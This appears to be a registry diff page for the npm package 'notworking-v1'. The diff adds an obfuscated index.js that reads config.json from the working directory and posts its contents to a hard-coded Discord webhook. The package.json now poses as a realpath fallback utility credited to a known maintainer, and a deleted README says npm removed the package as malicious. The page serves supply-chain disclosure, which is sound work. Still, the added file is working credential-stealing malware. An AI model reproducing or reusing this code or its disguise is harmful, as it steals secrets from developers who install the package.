notworking-v1 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of notworking-v1 might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +9 -4
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x5bfa76=_0x549d;function _0x4e1c(){const _0x47f3c0=['1219731DJbpah','1615167GlKMEn','node-fetch','64813JjHyCN','261458dPLskW','/config.json','utf8','application/json','catch','70972trDfSR','501000zYgetj','https://discord.com/api/webhooks/1307962959997173780/Pd-CJ2pQCPiNlo5bURM9NRHSXz7ll90PHY1EVEFG_lcNesq4vIVP7IaA4H7qPugxPij6','then','541937EkmWuR','632Qxlytn','30CnVifV','stringify','readFileSync','50DwJMzL','❌\x20Error\x20sending\x20to\x20webhook:','1sFPSxR','POST'];_0x4e1c=function(){return _0x47f3c0;};return _0x4e1c();}(function(_0x56190a,_0x40a1de){const _0x52ff9d=_0x549d,_0x2a5e44=_0x56190a();while(!![]){try{const _0x1b801a=-parseInt(_0x52ff9d(0x14e))/0x1*(-parseInt(_0x52ff9d(0x154))/0x2)+-parseInt(_0x52ff9d(0x150))/0x3+parseInt(_0x52ff9d(0x159))/0x4*(parseInt(_0x52ff9d(0x162))/0x5)+parseInt(_0x52ff9d(0x15a))/0x6+-parseInt(_0x52ff9d(0x153))/0x7*(-parseInt(_0x52ff9d(0x15e))/0x8)+parseInt(_0x52ff9d(0x151))/0x9+parseInt(_0x52ff9d(0x15f))/0xa*(-parseInt(_0x52ff9d(0x15d))/0xb);if(_0x1b801a===_0x40a1de)break;else _0x2a5e44['push'](_0x2a5e44['shift']());}catch(_0x4644f6){_0x2a5e44['push'](_0x2a5e44['shift']());}}}(_0x4e1c,0xb6aad));const fs=require('fs'),fetch=require(_0x5bfa76(0x152)),webhookUrl=_0x5bfa76(0x15b),configPath=process['cwd']()+_0x5bfa76(0x155);function _0x549d(_0x593cd7,_0x1cf97f){const _0x4e1ca5=_0x4e1c();return _0x549d=function(_0x549dee,_0x38d49f){_0x549dee=_0x549dee-0x14e;let _0x54ad08=_0x4e1ca5[_0x549dee];return _0x54ad08;},_0x549d(_0x593cd7,_0x1cf97f);}if(fs['existsSync'](configPath))try{const config=JSON['parse'](fs[_0x5bfa76(0x161)](configPath,_0x5bfa76(0x156)));fetch(webhookUrl,{'method':_0x5bfa76(0x14f),'headers':{'Content-Type':_0x5bfa76(0x157)},'body':JSON[_0x5bfa76(0x160)]({'content':'📄\x20**Config\x20File\x20Content:**\x0a```json\x0a'+JSON['stringify'](config,null,0x2)+'\x0a```'})})[_0x5bfa76(0x15c)](_0x2f8f13=>{if(_0x2f8f13['ok']){}else{}})[_0x5bfa76(0x158)](_0x6b35b0=>console['error'](_0x5bfa76(0x163),_0x6b35b0));}catch(_0x17e8ab){}else{}
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "notworking-v1",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "Use node's fs.realpath, but fall back to the JS implementation if the native one fails",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \\\"Error: no test specified\\\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",
|
10
|
+
"license": "ISC"
|
11
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=notworking-v1 for more information.
|